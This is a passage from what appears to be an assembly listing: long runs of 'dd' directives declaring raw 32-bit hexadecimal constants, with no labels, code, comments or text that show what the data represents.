0B43DC264h, 0E26C1035h, 6890355Bh, 903544E2h dd 354CE25Ch, 53E26090h, 80C2315h, 0E9091F9Dh, 0BDE691A2h dd 3A4C9471h, 490DA895h, 85228426h, 958B0811h, 0F026314Dh dd 161CF80Eh, 8D1688A3h, 5264C895h, 40283460h, 7F3BD4C3h dd 0D35D5B89h, 0C44BDEFh, 8B885540h, 0C313A89Dh, 290FBE4Ch dd 1011A365h, 79588850h, 87640854h, 68885890h, 0D6095C79h dd 0EA53DC2Ah, 45AFB40Dh, 24CD0568h, 6D3515Ah, 68905C21h dd 586464C8h, 0A2A5432h, 1C624E12h, 0AD079086h, 8B4E5E22h dd 6A240CB0h, 0A5702440h, 0B6BBA519h, 4B5901C2h, 60C18B87h dd 1425976Eh, 9EE1B281h, 835B326Ch, 0F3D0DF84h, 7D0FE7A2h dd 0E253610Ah, 0E759B5C5h, 340EE417h, 0EB12DF6h, 9A970E04h dd 0C5CF81F5h, 4C697743h, 3012E7B8h, 0F4A88A0Fh, 4A7D6CAh dd 334844C1h, 9CB9F0C7h, 0B66150A7h, 2C8912B0h, 2295CA32h dd 258C82Ah, 0D9CBA8BAh, 27358F52h, 0F364D9h, 0F50AA1E2h dd 88CEDF62h, 41AE403h, 0FB5E961h, 8CCC8A47h, 0C81DCBF7h dd 7809C215h, 0D70ECFD9h, 59BEE06Bh, 0FE68354Ah, 0B6CC01EDh dd 0FC76190h, 0DB7289h, 0BE7AF181h, 95E42EAh, 4C7F766h dd 42D7BD29h, 0DC6B54F8h, 0B3C2C401h, 86050A51h, 0B4BBB343h dd 0EAC057F8h, 202BC6DFh, 261333Ah, 7ABA66FFh, 0A4D18FF2h dd 25809E1Ah, 95514535h, 6CFD906h, 8B93D305h, 0F5E250F0h dd 73C41300h, 3B021BBAh, 0F5B50700h, 0E3673F83h, 0DCE39C93h dd 80D68D39h, 0CB777D2Fh, 4812EADh, 3004B9EEh, 4F2EB603h dd 6833C8h, 0AA4FC60Bh, 0EC51BDF6h, 0AF4BEE76h, 5A523C60h dd 66C4008Bh, 0CD26DDBEh, 1D95EB01h, 801D111Dh, 0A967A53Fh dd 774B0510h, 0F8F8E159h, 7E35894Ah, 0F484585Dh, 0B80FCC00h dd 0B418A160h, 3999E9h, 8F0E823Eh, 0EC96597Bh, 119465Eh dd 0C91CCAD8h, 7A2D2973h dd 15B82890h, 17C6248Ch, 0B3DE93D6h, 0C21262DAh, 594261h dd 0FD0CBE32h, 16014B46h, 0E0D3F6B0h, 41FFB34h, 0EC0373BBh dd 3D629120h, 35206EE1h, 4BDA47h, 5C9D5E31h, 373EDF12h dd 7E7AED04h, 65806C9Ch, 603C0AF2h, 0D7BFA459h, 2598C00Bh dd 8970B843h, 0F1338061h, 0C7BD8DB9h, 0FD00BF73h, 1B8CB8Bh dd 597A6AE1h, 3D39D700h, 0EA714778h, 0E9E19F08h, 3C648011h dd 0A1057717h, 35000B7Ch, 1D61C655h, 60DC9724h, 0D4C29A5Eh dd 0E727FFB2h, 10248457h, 0F0117F3h, 0FE0140B6h, 2EB002C8h dd 21312B5h, 0F1EC05Fh, 1DA10A82h, 50153981h, 217A3C8Ah dd 15078030h, 987B860h, 617E484Ch, 15E4A6E5h, 0F9343260h dd 2F2F615Fh, 0EA2F1723h, 9A106078h, 127B2C5Fh, 0BF902721h dd 0E20053F8h, 579691ECh, 2399B49h, 0B70F68B9h, 905F5ECFh dd 0C9AF1Ah, 4E39761Ch, 0C2411193h, 0A73D8E16h, 6B4BDF7Bh dd 780E21F6h, 0F55F8AFCh, 0A58964DEh, 18EBD302h, 0DDFAF971h dd 6049467Ah, 5CB47139h, 34678E2h, 0D016C261h, 8083E6E9h dd 8142060h, 19ADF642h, 0C324864Fh, 1821F8E9h, 8FB0B58Bh dd 0F0E0E681h, 53218D6h, 989464E8h, 8682BC72h, 39B4B53Bh dd 0E9860F1Bh, 0D820B151h, 0CFCD22E5h, 66506F80h, 324C88Ch dd 41260A4Dh, 0F977FA2Ah, 858B0983h, 1886B848h, 94DB0A26h dd 0ED836720h, 2404638Fh, 7FCFC622h, 7ECBB850h, 0D1952D08h dd 10F5148h, 0FE483098h, 1CC00B29h, 66276853h, 0C5149089h dd 725B0209h, 4CBA0953h, 4314820Eh, 0BB22E042h, 0CBEF5360h dd 0C603E380h, 4B3884C3h, 0E1E97685h, 7D7C2DC6h, 0E6448BC6h dd 0C5A498E8h, 0F1068955h, 0A895E318h, 0CC239000h, 0A65BBD01h dd 60A344A2h, 43E8025h, 0BB40311Ah, 763AB7A1h, 0B101B01Ch dd 24159A5h, 2C88AACh, 0D1905363h, 0B32AACBh, 210140D2h dd 91C90A4Ah, 236FE5D6h, 4011DD0Dh, 0D48B5210h, 7A26D098h dd 0E914B508h, 80AA0E21h, 858D153Fh, 0BC435A5Fh, 72565153h dd 23DB5E32h, 0D8D0ACAFh, 8103D3D1h, 465ABCC3h, 0F4B07937h dd 970B6449h, 0C38B41E8h, 0D30595Eh, 997BA660h, 0EAAC9939h dd 20775A2Ah, 21E747C0h, 190FA8DFh, 3C04A8D8h, 55D44C29h dd 0BDB4A890h, 8FC5604Ah, 8D21E419h, 60FA5DBh, 890991BDh dd 215CE938h, 7E284CA7h, 17050240h, 899B46F3h, 14192192h dd 46ACFE3Ch, 30A36E1Eh, 0E9AE88E4h, 0DF698768h, 721276A4h dd 0C7A4D00h, 25CAB2B8h, 0B4F1A945h, 30061C38h, 46C8D185h dd 0A7C2EAC4h, 58D92F1h, 282F08EAh, 2E284C65h, 51560928h dd 2C130853h, 300C4A09h, 0A12D3C67h, 4100AC9h, 13023498h dd 0C3C1D832h, 0BA1C4208h, 5B1C8167h, 37445E59h, 48E19804h dd 0EC792922h, 0C49090Ah, 442CB908h, 0D4993331h, 0FEB216h dd 0CD22884Ch, 258A9CEBh, 7B115ED7h, 0CBE3E0C2h, 12CEA94Ch dd 0F5CA6845h, 0E798C33Dh, 0DFBF1B19h, 1288595Ah, 47FA001Fh dd 0F8AD4563h, 8B302F89h, 0C781D83Eh, 34171330h, 0CEEFC805h dd 2F268D00h, 0F6FBAD06h, 617B006Ch, 0EC3E72B8h, 0E0FEF81h dd 410155C7h, 2A3456C1h, 0CDF7ECh, 6629A66Eh, 892BE1BAh dd 1A434197h, 0AACE8h, 5004EE83h, 49586AB0h, 2813B3A1h dd 0E9DA8399h, 95110724h, 20A06031h, 9D948039h, 57F90A1Eh dd 23E880BBh, 5861D6B2h, 0D49655E9h, 1F2060h, 0A2BFFA27h dd 482383B9h, 0C8160402h, 831EAB25h, 4E7104h, 117D4511h dd 40C761C9h, 0ED3FA7FAh, 62A883F9h, 0D02C09F8h, 0BB959Bh dd 1D4F187Ah, 35C89624h, 1F0F40DEh, 0D20EE089h, 60049322h dd 90472860h, 40C3F732h, 0FD4411ABh, 8A85380Eh, 2400A67Bh dd 378A2C0Ah, 10D20084h, 9D9CE241h, 0E3008942h, 5750B8BBh dd 78CECADh, 45977529h, 0C1EF1065h, 0DA3D569Eh, 5FA9800Dh dd 9789358Ah, 242714F6h, 2840448Bh, 269E18E9h, 4D5D31DEh dd 0F2EAB81Bh, 1D9A03A0h, 51186103h, 0B906C6E3h, 0FCA59B10h dd 0A8820C18h, 7CB01AAAh, 5D9FB600h, 987B425Ah, 9448E3FAh dd 300C6FA0h, 8322F587h, 10073021h, 0D823A84Dh, 0B9F070DDh dd 256F8007h, 0C21A0214h, 803708CCh, 22F00628h, 0BC01E85Fh dd 0D27D0A7Eh, 0C1921B83h, 0E750037h, 5EA1F041h, 4E7229C8h dd 0B8809C8h, 6093881Ah, 0E8006691h, 0F6E70881h, 0F71D1891h dd 0CBC7A706h, 0D670B213h, 343C6A6h, 84B3592Ah, 0A1A8678Dh dd 68007C9Ch, 388CAC70h, 973D80h, 2A7ADA49h, 58F86F48h dd 62BD262Eh, 6F028C0Fh, 8D4A2071h, 1921650h, 757609Ah dd 0DDABC898h, 8A80D01Bh, 0EB38C500h, 822C383h, 0AF9300A3h dd 510AB1E0h, 29C1ABD9h, 0E61FE448h, 494B60h, 1367BD39h dd 1BA4FF14h, 601E2439h, 0A1160728h, 0DEB916F9h, 88350042h dd 19F478EDh, 43DDA500h, 6ED6E1C2h, 0CA6500C8h, 8F2FDC6h dd 0F00A0D7h, 6F5FD9A9h, 3DE5522Bh, 1A80F958h, 8A0297E1h dd 0B70087B1h, 0B6DCDB80h, 0A1B88Ch, 935F367Dh, 8B2C39F1h dd 480D3804h, 8A80CE3Eh, 15A9FBh, 6A8F6045h, 0EDFE5C39h dd 0C3E62C14h, 899201FCh, 977E211Eh, 702FECh, 5F400128h dd 54531833h, 0ED123D03h, 0CBA535CEh, 13A0804Bh, 0AC43001Ah dd 8A552BE5h, 2100FCF2h, 30EA9E0h, 2688F6C0h, 8EC183h dd 927CD872h, 4100FB5Ah, 10A8A37Bh, 54376FC7h, 0DBB88Dh dd 0AD7771D9h, 0BA730D54h, 57C16503h, 0D0C64427h, 7B432Ch dd 93FBA170h, 0AB72CB15h, 0FD0EDD00h, 50F07AF9h, 0EAD0C0C7h dd 0ED16DAFCh, 0E0D908CFh, 0BF5DAE39h, 0D69A033Ch, 6F2E7986h dd 0A557900h, 6149BA1Fh, 0E6A10ADDh, 82F85030h, 0D5D22542h dd 3EAF7EC0h, 0DD8E1E00h, 6D347B7Fh, 32CD0094h, 0A481A57Ah dd 0FF0345EFh, 6A59E8A0h, 979789Ch, 0A30D27A8h, 0B2898Eh dd 0D343F857h, 7606C17Eh, 8D788FCCh, 7F400071h, 0D3488212h dd 0B476BF43h, 67AB9E00h, 0CFEA6D1Ch, 72DD00F9h, 0F5832265h dd 491E93A2h, 1DC04AFEh, 57598964h, 76903CAh, 5D679CB2h dd 473D2CC0h, 2980AC4Ch, 1200E0A7h, 0E1AD421Dh, 8659220Fh dd 0F3408D00h, 0AFE77237h, 81BE0068h, 8ECF769Eh, 21128891h dd 14407F20h, 7A0B7C5Dh, 9A950037h, 8A1B33E6h, 0F86018EEh dd 0C52D5AD1h, 352807E5h, 305DECCDh, 0E710C4A5h, 3747A400h dd 75826D52h, 9C95072Ah, 0D7236279h, 0AD21DF8Eh, 703B208Bh dd 50C219FEh, 81C6E224h, 0E3F9BACh, 5054EC20h, 6B84FBh dd 0E8290C22h, 1389FDDEh, 99F52500h, 0F8947EC9h, 103D0185h dd 9EBB5572h, 0D1743027h, 1F915300h, 2F2163D7h, 4A6E00A7h dd 5DFFB1FAh, 1400030Bh, 1677DF51h, 0F1C810h, 44D9A4CCh dd 58D5B51Dh, 0E0C93900h, 9F630459h, 2E1002Fh, 805F336Bh dd 9B05243Ah, 98270A43h, 0B04EAC00h, 70761F8h, 0FA8E2EB6h dd 90883326h, 0CAC16AB3h, 1E282405h, 63976C00h, 32339C44h dd 91B20E68h, 0E541940Ah, 7E641940h, 0B2942C0h, 0A2E60059h dd 20FA8592h, 783A3BD3h, 7AFC029Bh, 40C5DD81h, 3941798Ch dd 0D504DA7Eh, 8007F1B8h, 0A4664880h, 74528A00h, 6D4DB5B6h dd 3C7703E1h, 255AB2E3h, 0FD59C5C0h, 725D3900h, 0C447514Eh dd 98E90036h, 0F85F4502h, 42000619h, 9A932A2Fh, 0B07D65C3h dd 3109035Ch, 3322213h, 639112D8h, 0DD3F04BAh, 9C4BB84Dh dd 9602CA54h, 0E10F888Ah, 63C81F89h, 0D90E0C32h, 0F0301CA6h dd 0EF20A907h, 0BE37B9FEh dd 0D360CFE7h, 4FDABBh, 5BEEAE1Eh, 9CEAE132h, 616FB500h dd 30844479h, 945400C8h, 1F65D840h, 420BB211h, 706032h dd 0E0150E18h, 7555123Dh, 0A1DC404Fh, 0C2F1BAA9h, 45CDFE00h dd 67E615D7h, 2BFE092h, 0C483C8EEh, 0C341956Eh, 0CF1460B2h dd 30448F0h, 1CAA1DFFh, 9FCC30D3h, 0C0793322h, 3538B97h dd 0A27EB975h, 0B3AA1325h, 54F610C9h, 0C53880C8h, 7C0067DFh dd 0B687C09Fh, 124ED81h, 5F0F8EEFh, 0DC35E61Ch, 3700A0E7h dd 4A67937Ch, 50BF49h, 72602BCDh, 35096A02h, 0E6C63600h dd 488F2723h, 2F6ECE5h, 864A6F96h, 81C0BD5Dh, 0A3016F7h dd 7FD7F8ACh, 9E1A0C65h, 0BB901D04h, 9043B202h, 60239B08h dd 162730h, 0A1111452h, 0C4ABB49Ah, 1BF3B217h, 88F23B00h dd 487E61h, 7D2C5AFBh, 0D1C5DBBAh, 45A38600h, 92257532h dd 570B0058h, 0D0482820h, 1A0F2A4Eh, 60AC62BDh, 0FCBB84A3h dd 1FA0FC18h, 0C1159D60h, 0BA4BBC1Dh, 0A69AE83Dh, 7A80C100h dd 2E662482h, 7C07877h, 0DD88F3C6h, 6B1840BAh, 5E0009F4h dd 1215B1ADh, 7AC02h, 6616F048h, 3BCA3D01h, 37508D6Fh dd 261E3C03h, 0F86A0041h, 4013D981h, 803DBA8Bh, 0C73180D6h dd 86C8A9Fh, 0B3FC3841h, 43134000h, 0CD4D624h, 776DBC02h dd 4B4297C3h, 3C0ED874h, 7A7812h, 2B8A628Ch, 3E7F6F93h dd 2A426C00h, 0C54E804Ah, 1C10047h, 11050D5Bh, 1358DC50h dd 0E3EB00A9h, 4DBD0B31h, 93FE12E6h, 925C0763h, 3B47B039h dd 0AC006181h, 981FA28Eh, 1C8F8586h, 8E3707A8h, 0BC80F2D7h dd 85C69C5h, 1E3AB23Ah, 7440821Eh, 0DD1876DAh, 14C348E1h dd 1AEB0A00h, 69785092h, 0D802A24Ah, 48F0B90Ch, 12664350h dd 47852067h, 504F7D70h, 630F371Fh, 0D598A773h, 80B8892Ah dd 0E330EE00h, 2C02EC48h, 60362404h, 68508998h, 9D55D400h dd 660376BAh, 0D86B870Dh, 0FB7900CEh, 0B38426E5h, 370071CBh dd 0C32A2220h, 73CF75h, 6BC7DDB4h, 0C8DCC6ECh, 96B10700h dd 881DFDBAh, 52C39ABh, 0ED490680h, 5360DE42h, 5B5C7800h dd 2C31653Ch, 99D0612h, 7029829Fh, 1A4C80Dh, 99E0B81Ah dd 7B6FFEB4h, 0F92CE897h, 0F07929FCh, 63E9F262h, 6A9D2919h dd 0EC0A28E1h, 27F2271h, 276F3D75h, 0EA381B20h, 971880FFh dd 2C8309C4h, 3C9D212h, 0E5E7ACE6h, 0E89C7A98h, 9F7C13EAh dd 0E946FA1Dh, 296C9D06h, 6BA20159h, 0C7197B16h, 952187E6h dd 97A109BCh, 0A5E22868h, 6448A6BCh, 433700C4h, 0FE410E03h dd 387DD800h, 227CAB7h, 7BA10040h, 0E626C1EFh, 0BC319994h dd 958B497Ah, 1C7A320h, 2411F21Dh, 0D0FDA3C2h, 0E7304968h dd 95892913h, 0A02C3A0Ah, 12A6918Fh, 0B9A9CB83h, 0C4D4211Eh dd 2B202205h, 3E6E9C23h, 9E00DC48h, 0E4AF2A65h, 517146C4h dd 0E922C701h, 471EA3E7h, 0D7C3D0h, 40E0A8CAh, 3702D27Bh dd 841008C0h, 28A2D0BAh, 0D1F96F1Eh, 2B80471h, 10C4E531h dd 0C240B37h, 7C6525F0h, 0F3066083h, 3F83D2B0h, 740E174Bh dd 5A11119Fh, 0F2FA1876h, 8B154529h, 100540B4h, 12DAEDh dd 0E2EAFD20h, 0F5BDEE32h, 0B709CB0Bh, 0C33801FEh, 2B30DAABh dd 6010003Eh, 7161911Dh, 6D269529h, 48007C85h, 9D6B5B1Fh dd 3CB806h, 0FCFE44ABh, 46E714D4h, 3868D558h, 0E400FCB9h dd 0C0C99DBCh, 0DED77B92h, 9BAACBF1h, 0A589D8A9h, 0B49D8480h dd 6100B374h, 839076CBh, 61ED22ECh, 3504A8E4h, 6065F809h dd 0C9574C00h, 383E5978h, 894A60D8h, 0BFAECA8Ah, 95AC1554h dd 0B689FC93h, 20140E72h, 94B1846Bh, 35830020h, 0D4345A1Ah dd 0C7003238h, 0F4B3F233h, 26E5861Bh, 47C6572h, 815F9EBFh dd 6156F1ECh, 647D71D0h, 2204A560h, 26A9BB15h, 0FAFFC980h dd 5CFC01B2h, 65E14F2Fh, 3B6F479h, 8E0058F4h, 13A23D54h dd 2E30FDBFh, 0ECB22Ah, 0A4ECC3C2h, 71E0C89Fh, 3B70465Dh dd 0B20B171Bh, 11516A00h, 93F4EAh, 0A387AD62h, 0BA33BD92h dd 84BC4914h, 480070BCh, 8E046128h, 21C98A9h, 0E0FDF165h dd 0C52393Bh, 3EEB5B0Ch, 968A88C7h, 0C446857Ch, 55488056h dd 30B8BCDCh, 0C59AD000h, 0EDDE76A0h, 5F89079Fh, 0A0502B9Bh dd 1E36B3CBh, 0D6C3581Ch, 7CC7DBDDh, 0CD38F6Dh, 69F488D5h dd 0D7BF0065h, 8BD1FDD6h, 0BD4B9FF0h, 77409C1Dh, 367E8864h dd 0BBBF1F85h, 8088AE4Ah, 10114B0Bh, 3E005158h, 547B9A01h dd 6038C7h, 7D07D893h, 47668AA4h, 0C81E10F4h, 0A5356Bh dd 0D5973DB4h, 0A78B0483h, 0D09B5365h, 71B36EF8h, 2773F39h dd 52244B9Dh, 98E4805Ch, 70984E8h, 0D90F9EAh, 1EAC20F6h dd 309A7F1h, 0C35E3h, 0A6CCD334h, 0ADDD20D2h, 4F8E9E00h dd 0A388CE3Eh, 9249FA89h, 0C8C2604Ch, 0B4BA3060h, 0F050B200h dd 254E6690h, 46040005h, 274239F8h, 9300A27Bh, 0B24BFB2h dd 3B8DC51h, 0EC80C988h, 2800492Ah, 0A27AEEBBh, 0C4B1D3h dd 4516DE55h, 13175829h, 0A8560203h, 0A5DA9253h, 8020D50Bh dd 942473E9h, 0E0EB004Bh, 2790FD76h, 1C07A2BFh, 73C4010Ah dd 37A148A1h, 0A020DDF1h, 40D9DF71h, 441C67BCh, 0EE1D3906h dd 0FD801D51h, 4E18E6A2h, 26FC00B1h, 0E3F35E5Ch, 0BCB8E2CCh dd 8A00D977h, 9CD56BCDh, 0D07B9Bh, 1F68792Bh, 9A953D7Eh dd 0A94A48h, 174B1850h, 6931A2h, 0B69FA9D5h, 9CE48C47h dd 0FC6D800h, 5271BE4Bh, 1E59010Dh, 59D8D95h, 1FD4203Ch dd 0E1192700h, 0A42C2060h, 1E4D006Fh, 0B0FF950h, 6A12BC1Bh dd 0D00029F6h, 0FB2214DDh, 3A2F02EFh, 152B5A35h, 1B7D4060h dd 0B8298B13h, 0F9491401h, 9CD883C5h, 0BE610338h, 73DCF8D2h dd 0AC546B90h, 48004490h, 41193087h, 0C03E8139h, 0DB12ADD2h dd 100EAF82h, 86D78BD8h, 0E8F06189h, 0FF8E0379h, 0DAA5383Fh dd 0D00E30E0h, 41CA8302h, 80BCA7CDh, 0EC872095h, 70C3005Eh dd 95926582h, 25002A85h, 7A2D94A2h, 4622ACh, 0C1553759h dd 0BCFDCC11h, 0B5CF681Fh, 0D11D18E4h, 40888E0Fh, 33C65238h dd 5A240034h, 6F61A392h, 1800B067h, 62E2F8B5h, 0F07CA95Dh dd 0BB120023h, 0EA0CE4A4h, 0F024E982h, 4102112Eh, 8C958AFDh dd 9409899h, 0F3E2B4D4h, 8C845401h, 954880A6h, 0A5755EA2h dd 0F90E3FB2h, 0C0905AB3h, 643F11F8h, 0E98E4404h, 0D0D2217Dh dd 48990642h, 88A8DE2Ch, 0EE893580h, 9A1B0827h, 7AFA0B04h dd 18207BC5h, 0F3ACB9DEh, 60F60131h, 33C04DE2h, 995B007Bh dd 6AD71E3Bh, 0DF1427B9h, 0D8A7DCh, 0A2C377C0h, 95A4FEh dd 16BB32F3h, 1050750Fh, 0A14E802h, 408F2D1Ah, 4898D0F0h dd 7F395C97h, 0B0EC8B80h, 1A5A29FDh, 1C01FB74h, 0A6A4DC56h dd 0E46458C1h, 1F0CB04Ah, 40FF1619h, 0BA1028A7h, 1A26F7B8h dd 0A50086B1h, 0E67C58Ah, 0E3303ABEh, 0B28BD780h, 0C49D246Ah dd 1227C3Bh, 8118CA95h, 0F6E89BA6h, 79AB1C88h, 0EE6580E2h dd 1A072709h, 8064Ch, 7EA36FC7h, 13A6C231h, 3751A8h, 0B778B874h dd 7C04C9DFh, 0DD6A3292h, 3C809884h, 34CD048h, 0E01F3F2Ch dd 9B88EC3h, 7103996Eh, 0D370CCB6h, 0AABA98FCh, 4BE21321h dd 822000DCh, 0DED59B46h, 0C0986D02h, 872771BDh, 8DC72084h dd 0C600C744h, 9A9DC26Ch, 0AC05FC92h, 0A3241D84h, 0E29F4A4h dd 81E341FEh, 0EC370C60h, 460E1753h, 0A0E9A0FFh, 28F6AE51h dd 15E4055Eh, 3C516FAh, 6EBD8784h, 1449CDE2h, 0FCE6044Fh dd 3805137Fh dd 20540050h, 83CB540h, 0F000784Bh, 0D98DC20Ch, 7C750006h dd 996637C8h, 7E00DA65h, 38F28CB1h, 24E836EBh, 1B2DE4Fh dd 0A469977Ah, 7EA429EAh, 0DC40394Ah, 42E01AFCh, 0E2C71721h dd 9F880414h, 10ECA285h, 0AC8819FEh, 7C1DBC9Dh, 0ECA46705h dd 0D49F100Fh, 0AFAA011Ch, 0A79D1BFAh, 487917D0h, 0E8582E4Eh dd 4770971Ch, 0F7205922h, 951B1FFh, 0D32121C7h, 0D816E6C9h dd 20079714h, 0A422241Eh, 3400E715h, 7309B441h, 3884509Fh dd 68CF649Eh, 0C49BC29Dh, 48C5B0A5h, 0BD00A748h, 0D27CF64Ah dd 0E68500FFh, 0C7187A7Bh, 561B24E8h, 0F131EC71h, 0E1FC2072h dd 0DEF409B6h, 2900549Ah, 0AA13D790h, 32C70B00h, 0EEF625DCh dd 0BC770084h, 8709A230h, 6403C862h, 7588CFE7h, 2FD6E1E8h dd 308E72C5h, 0DAA7AF53h, 0B6465287h, 3FFABC53h, 5680F304h dd 25C5D77h, 0B61861DDh, 0EC406FC5h, 1DC87F71h, 1E3D7B43h dd 22C40E5h, 10D0A37Eh, 6E77B619h, 5808BB29h, 8492E244h dd 4270F922h, 0E0D411A7h, 11A2C611h, 432172CCh, 90E13008h dd 47D19DBAh, 0B9086F21h, 84EE90BDh, 6B4849E2h, 0B8B9684Eh dd 443650D0h, 2284173Eh, 0F642B1A0h, 75553311h, 0CFCA2284h dd 0F1282A50h, 841F5444h, 50CEE822h, 4483141Eh, 0C944DB57h dd 32CC44F1h, 58F23CA3h, 29C726h, 0A8A370FFh, 0AA75CA17h dd 88D96507h, 55605EC1h, 0B8460Ah, 0AF2B206Bh, 0B9B71128h dd 881DF600h, 99B009C6h, 0BED700D8h, 23B567E4h, 605C42E3h dd 0AC7E0054h, 0D00689C3h, 0DA8A3A1Dh, 0D64316h, 0FEEEFC75h dd 0BD00E4B8h, 3064529Bh, 544F68h, 0B035759h, 28F8E227h dd 0FB443500h, 26E98046h, 0AC9A5CA1h, 803CD12Ch, 52814377h dd 0C001E602h, 0FEED74D8h, 82D7B823h, 0BA24C8D2h, 10642E76h dd 0BED90F70h, 17BDFFE3h, 0FA6A4C90h, 4A33C900h, 44763492h dd 2AC8120Fh, 0E400FFD5h, 0E5EE5CE8h, 8F20036h, 76910539h dd 0F301AF8Fh, 0C4D74188h, 118FA5EBh, 2CC0DF5Eh, 252BD1B5h dd 0B4295507h, 0A11F2D54h, 7EC18F0h, 0C302283Dh, 0A6F19972h dd 10C02C70h, 0DE15E054h, 4F3C005Ch, 421B50EFh, 6C2FFA1Eh dd 0DAA080EBh, 5B1E5BBh, 0C081A80Eh, 1CDCC2B6h, 873FB0D8h dd 0E0506068h, 459E452h, 7393A30Ch, 6D31836Ch, 98F7113Bh dd 89ECE23Ch, 253B05C5h, 0C0DD1805h, 0D7C6C994h, 0F8170800h dd 61FA1DCEh, 25B40072h, 94CF3F43h, 3300CABEh, 2BFEDA32h dd 3E5B271Fh, 258E1B09h, 9522A364h, 0BFC044D7h, 0E60A5F6Eh dd 0E06929F8h, 0AC1C02CBh, 3970E42Bh, 9980861Bh, 736D96F5h dd 0A289BCFh, 905B9822h, 5A1E3400h, 12E9ED0h, 5BB3DF6Fh dd 0F47EB07Ah, 9202BC8Eh, 0D5FD8B81h, 0E4A9E00Fh, 289000A4h dd 38A0B4F4h, 710EBF85h, 0D22292h, 6E58F89Ch, 473F0075h dd 0AD3E803Bh, 0BD5CDCC3h, 0DB257Ch, 9C74AA08h, 34E7A75h dd 815E292Eh, 5B0F647h, 7A01DF1Ch, 0AE4F9858h, 39D92F46h dd 1DE52474h, 0C0C661F2h, 768A97F5h, 48007FFEh, 9AF635Bh dd 873671h, 5D9AA038h, 62056B4Dh, 0E006B500h, 1C738067h dd 9CC1038Eh, 9F9E97Ah, 33EA9E8Bh, 0CFFB1D40h, 0F115900Fh dd 1DF52518h, 0B379409h, 48802024h, 25EEB8F3h, 8000D0FDh dd 0CC442434h, 0FA22663Bh, 18C5FC30h, 64BD47h, 9D0A431Dh dd 30672681h, 61EBEF00h, 586C9B51h, 76B11D4Eh, 93A2C0C7h dd 469EB21Dh, 0BD69DA24h, 0C14B2B0Bh, 302029ACh, 92AB00B4h dd 472AC524h, 68000991h, 0B8575A1Ah, 140B622h, 30F053Bh dd 0C04175E9h, 0BE0B84C9h, 0E0AC08C7h, 80ED5970h, 3C1E092Eh dd 0F8927252h, 9A43241Dh, 80796539h, 19925B7h, 103B5744h dd 300C0458h, 33004220h, 8BDC5C56h, 4C81F6FFh, 7A0008DFh dd 864906A1h, 5700142Fh, 0E8694058h, 26604B66h, 28CF3BFBh dd 0AD5E0342h, 875812E0h, 945B21E0h, 2CF44D00h, 3A055A92h dd 0D6B100C8h, 88F6EEAAh, 0C3FA299Bh, 0E1B97700h, 671E500Fh dd 9DC90E8h, 1C08099Eh, 5D0BD870h, 803F5758h, 0DAFD0650h dd 0CC5E3C1Eh, 3BE00780h, 90D829E3h, 0F9527103h, 0F0F7AEF4h dd 96FFF2h, 0F17F608Ah, 9BDBFC1Fh, 75AB1B00h, 0FE72B890h dd 4FE001A2h, 0C6B7DFC2h, 0C2DC432h, 0BD815C00h, 8991CC33h dd 8BB0069h, 1D4DC9A6h, 0F0EFB40Dh, 112C128Eh, 0CF00013Fh dd 4CDDE3DCh, 7C1F0E33h, 8EEE065Bh, 4DC6D0A3h, 4B365198h dd 0CCFB21C0h, 3DF3C9Ch, 620D3968h, 3FC8A3DAh, 0DB0028E0h dd 0EC25EF8Fh, 1075F41h, 425E7CEBh, 702F76EAh, 0C70BED20h dd 61FAB305h, 0A6F94A1Ch, 0A1E3C040h, 0EF2707AFh, 85147BCDh dd 981CB08Ch, 59793500h, 0A57D4129h, 0CE5C003Dh, 0D33357A0h dd 6A75F445h, 0D5FC8312h, 0F4BA8E4h, 0F225F7B3h, 35397040h dd 8012376Eh, 0D000EACEh, 0C2024B6Ch, 0EAD27A14h, 6B5B00D3h dd 0E7118D39h, 541DC0ADh, 0CDF685Dh, 0AAF50E80h, 1F4310h dd 31C367F9h, 9BE0B2C2h, 8E0E5C90h, 80ECACAEh, 0E1410B98h dd 4C403F8h, 0F2371ED7h, 1F478CE8h, 0ACB1BC00h, 2063A719h dd 0F3CE1F69h, 9E31C0E0h, 82501E79h, 0DC809C4Ah, 7A1F5B81h dd 6D470009h, 0DD0F0A8Ah, 250F013Ch, 0A1ABEA2Ch, 969D7637h dd 20BB230h, 0BC66CF70h, 88807B7Fh, 842BA3C1h, 0ACE1C400h dd 0DE146997h, 0F2CC124Dh, 0A9000DDh, 0D6D996B1h, 60A4ECB0h dd 0DA008890h, 64CC8BF0h, 2E2785CAh, 4920FDCEh, 0DDFA6870h dd 62BD8417h, 41592040h, 90EF5B66h, 0B9EB0190h, 82327AA2h dd 8B2AD4BEh, 0CC9AC900h, 67872B3Dh, 0C8DF58BCh, 0AA83BA38h dd 0EDA61EA3h, 0A5EF9880h, 410AC500h, 40A877C8h, 0A41D0084h dd 0AB8C83EEh, 0BD008B69h, 0AF345A2Eh, 0CE2A3Bh, 73D19436h dd 0BF73562h, 0B33A8C00h, 67A431E7h, 867AA5h, 7BDD7D72h dd 64AC492Bh, 5929CC07h, 0F7903425h, 0F072CEh, 0DFBF331Fh dd 3D82C2A6h, 366BDC01h, 482C4A38h, 0B150D4h, 0A2BD189Bh dd 61D7A711h, 9071260Eh, 1FF4522h, 28B650C0h, 49425A96h dd 68C89240h, 62003893h, 0F0104FFFh, 5F272043h, 14C00086h dd 0BAD2FBCEh, 224BDE00h, 2F52EBCAh, 0BCB0BFh, 400A6A02h dd 8107050Eh, 4D9B4100h, 1C9050C5h, 8068B4D4h, 0DFD4B71h dd 542C3EA7h, 0D21C7CA1h, 498ECBC0h, 0A0F47675h, 265D9E87h dd 134FAC34h, 35AB01BAh, 60FC2772h, 281EFE31h, 0F19EC77Ch dd 83A2FA00h, 37B9699h, 0B6B74D0h, 0A1F0AECAh, 0C000A78Bh dd 0C9553A6Ch, 50590EFh, 34CF742h, 28FB18CEh, 0B37F7CA6h dd 0B83CFE00h, 6AEA330Ch, 58A31DA1h, 71D54934h, 43B69980h dd 0EE000EEDh, 0F05568B9h, 1E79368Ch, 0C032BC9Eh, 0A656B8E6h dd 0AF0FA4D6h, 27CDFAEBh, 602E883Bh, 0A0790714h, 48180353h dd 0F29D7FBDh, 67B080C4h, 961C4E4Fh, 5301F8A9h, 0E0764BD8h dd 0B868420h, 5A5D022Dh, 6BEB2C01h, 62E4DC44h, 0EF6C5700h dd 13EE92Fh, 814203A3h, 932BF74Ch, 7C6206F2h, 36EEE048h dd 249DE901h, 0EDD6BAD5h, 27C78420h, 2C682EFDh, 9D4165h dd 7E228D1Ch, 0A3120039h, 598C1952h, 0F73E4757h, 1FE480DBh dd 0AB1ADF0Ah, 0F9A70068h, 0C066DE29h, 3924C432h, 8F38252Ah dd 60DBE94Ch, 